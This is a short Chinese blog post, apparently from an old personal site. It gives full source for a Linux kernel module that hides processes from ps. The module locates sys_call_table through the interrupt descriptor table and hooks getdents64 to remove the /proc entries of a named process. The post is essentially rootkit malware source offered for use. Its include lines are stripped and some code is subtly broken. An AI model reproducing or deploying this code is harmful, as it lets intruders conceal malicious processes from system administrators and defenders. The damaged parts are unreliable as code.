很早以前的小程序，比较简单但是觉得有趣

原理很简单，Linux查看进程的命令ps是通过系统调用sys_getdents实现，sys_getdents用户获取一个指定路径下的目录条目，实际上就是枚举

/proc/　下的pid，这样我们只需要hook一下sys_getdents，把相应的要隐藏的pid信息去掉即可。

以下是LKM代码，在Linux-2.6.14并运行成功

#include

#include

#include

#include

#include

#include

#include

#include

#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

char *processname;

module_param(processname, charp, 0);

struct {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed)) idtr;

struct {

unsigned short off1;

unsigned short sel;

unsigned char none,

flags;

unsigned short off2;

} __attribute__ ((packed)) * idt;

void** sys_call_table;

asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);

char * findoffset(char *start)

{

char *p;

for (p = start; p < start + CALLOFF; p++)

if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')

return p;

return NULL;

}

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

if (*ptr < '0' || *ptr > '9')

return (-1);

res += (*ptr - '0') * mul;

mul *= 10;

}

return (res);

}

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p = get_current(),*entry=NULL;

list_for_each_entry(entry,&(p->tasks),tasks)

{

if(entry->pid == pid)

{

printk("pid found\n");

return entry;

}

}

return NULL;

}

static inline char *get_name(struct task_struct *p, char *buf)

{

int i;

char *name;

name = p->comm;

i = sizeof(p->comm);

do {

unsigned char c = *name;

name++;

i--;

*buf = c;

if (!c)

break;

if (c == '\\') {

buf[1] = c;

buf += 2;

continue;

}

if (c == '\n') {

buf[0] = '\\';

buf[1] = 'n';

buf += 2;

continue;

}

buf++;

}

while (i);

*buf = '\n';

return buf + 1;

}　int get_process(pid_t pid)

{

struct task_struct *task = get_task(pid);

char *buffer[64] = {0};

if (task)

{

get_name(task, buffer);

if(strstr(buffer,processname))

return 1;

else

return 0;

}

else

return 0;

}

asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)

{

//added by lsc for process

long value;

struct inode *dinode;

int len = 0;

int tlen = 0;

struct linux_dirent64 *mydir = NULL;

//end

//在这里调用一下sys_getdents,得到返回的结果

value = (*orig_getdents) (fd, dirp, count);

tlen = value;

//遍历得到的目录列表

while(tlen > 0)

{

len = dirp->d_reclen;

tlen = tlen - len;

printk("%s\n",dirp->d_name);

//在proc文件系统中，目录名就是pid,我们再根据pid找到进程名

if(get_process(myatoi(dirp->d_name)) )

{

printk("find process\n");

//发现匹配的进程，调用memmove将这条进程覆盖掉

memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);

value = value - len;

}

if(tlen)

dirp = (struct linux_dirent64 *) ((char *)dirp + dirp->d_reclen);

}

return value;

}

void **get_sct_addr(void)

{

unsigned sys_call_off;

unsigned sct = 0;

char *p;

asm("sidt %0":"=m"(idtr));

idt = (void *) (idtr.base + 8 * 0x80);

sys_call_off = (idt->off2 << 16) | idt->off1;

if ((p = findoffset((char *) sys_call_off)))

sct = *(unsigned *) (p + 3);

return ((void **)sct);

}

static void filter_exit(void)

{

if (sys_call_table)

sys_call_table[__NR_getdents64] = orig_getdents;

}

static int filter_init(void)

{

//得到sys_call_table的偏移地址

sys_call_table = get_sct_addr();

if (!sys_call_table) {

printk("get_act_addr(): NULL...\n");

return 0;

} else

printk("sct: 0x%x\n", (unsigned int)sys_call_table);

//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents

orig_getdents = sys_call_table[__NR_getdents64];

sys_call_table[__NR_getdents64] = hacked_getdents;

return 0;

}

module_init(filter_init);

module_exit(filter_exit);

MODULE_LICENSE("GPL");